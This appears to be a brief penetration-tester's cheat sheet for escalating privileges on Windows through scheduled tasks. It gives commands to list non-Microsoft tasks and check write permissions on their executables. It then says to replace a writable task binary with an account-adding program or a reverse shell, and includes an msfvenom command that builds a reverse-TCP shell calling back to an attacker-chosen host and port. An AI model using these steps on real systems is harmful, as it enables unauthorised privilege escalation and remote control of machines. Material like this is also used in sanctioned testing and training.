# Generally backup files otherwise lots of noise
schtasks /query /fo LIST /v
# Look in Author, TaskName, Task To Run, Run As User, and Next Run Time fields.
OR
# PowerShell
Get-ScheduledTask | ft TaskName,TaskPath,State
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
Exploitation
1) icacls <file.exe> # Do we have M or F on BUILTIN/USERS or Username?
2) Replace the file directly with adduser.exe or msfvenom shell
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<> -f exe -o Common.exe